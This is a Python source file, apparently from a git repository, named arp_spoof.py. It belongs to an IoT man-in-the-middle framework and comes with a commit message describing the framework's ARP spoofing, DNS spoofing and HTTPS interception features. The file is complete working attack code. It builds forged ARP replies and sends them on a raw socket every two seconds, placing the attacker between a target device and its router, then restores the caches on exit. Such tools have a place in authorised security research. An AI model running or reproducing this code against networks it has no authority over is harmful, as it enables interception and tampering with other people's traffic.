Files
setec-mitm/services/arp_spoof.py
sssnake 20e7eb343d Initial commit — SetecMITM generic IoT MITM framework
Templated from cam-mitm. The camera-specific code (UBox cloud client,
CVE verifiers, OAM HMAC signing, fuzzer wordlists) is removed; what's
left is the generic core: ARP spoof, DNS spoof, HTTP/HTTPS interception
with peek-before-wrap, raw sniffer with conntrack-based original-dst
lookup, protocol fingerprinting, intruder detection, packet injection,
log rotation, PyQt6 GUI on top of a service Controller.

All 'camera' references renamed to 'target' throughout. Configuration
moved into ~/.config/setec-mitm/config.json with the Settings tab as
the primary editor. Plugin system at targets/<name>/plugin.py for
vendor-specific code.

See README.md for full setup, plugin authoring, and troubleshooting.

Co-authored by Setec Labs.
2026-04-09 08:38:59 -07:00

90 lines
2.5 KiB
Python

"""ARP spoofing service — positions us as MITM between target and router"""
import socket
import struct
import os
import time
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
def get_mac(ip):
try:
out = os.popen(f"ip neigh show {ip}").read()
for line in out.strip().split("\n"):
parts = line.split()
if "lladdr" in parts:
return parts[parts.index("lladdr") + 1]
except:
pass
return None
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
eth = dst_mac + src_mac + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
arp += src_mac + socket.inet_aton(src_ip)
arp += dst_mac + socket.inet_aton(dst_ip)
return eth + arp
def run(cfg, flags, running_check):
iface = cfg["iface"]
target_ip = cfg["target_ip"]
router_ip = cfg["router_ip"]
try:
with open(f"/sys/class/net/{iface}/address") as f:
our_mac = f.read().strip()
except:
log("ARP: cannot read our MAC", C_ERROR)
return
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
os.system(f"ping -c 1 -W 1 {target_ip} >/dev/null 2>&1")
time.sleep(1)
router_mac = get_mac(router_ip)
target_mac = get_mac(target_ip) or cfg["target_mac"]
if not router_mac:
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
return
log(f"ARP: us={our_mac} router={router_mac} target={target_mac}", C_SUCCESS)
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((iface, 0))
except PermissionError:
log("ARP: need root for raw sockets", C_ERROR)
return
flags["arp"] = True
pkt_to_cam = build_arp_reply(our_mac, target_mac, router_ip, target_ip)
pkt_to_rtr = build_arp_reply(our_mac, router_mac, target_ip, router_ip)
while running_check():
try:
sock.send(pkt_to_cam)
sock.send(pkt_to_rtr)
except:
pass
time.sleep(2)
# Restore
log("ARP: restoring...", C_INFO)
r1 = build_arp_reply(router_mac, target_mac, router_ip, target_ip)
r2 = build_arp_reply(target_mac, router_mac, target_ip, router_ip)
for _ in range(5):
try:
sock.send(r1)
sock.send(r2)
except:
pass
time.sleep(0.3)
sock.close()
flags["arp"] = False
log("ARP: restored", C_INFO)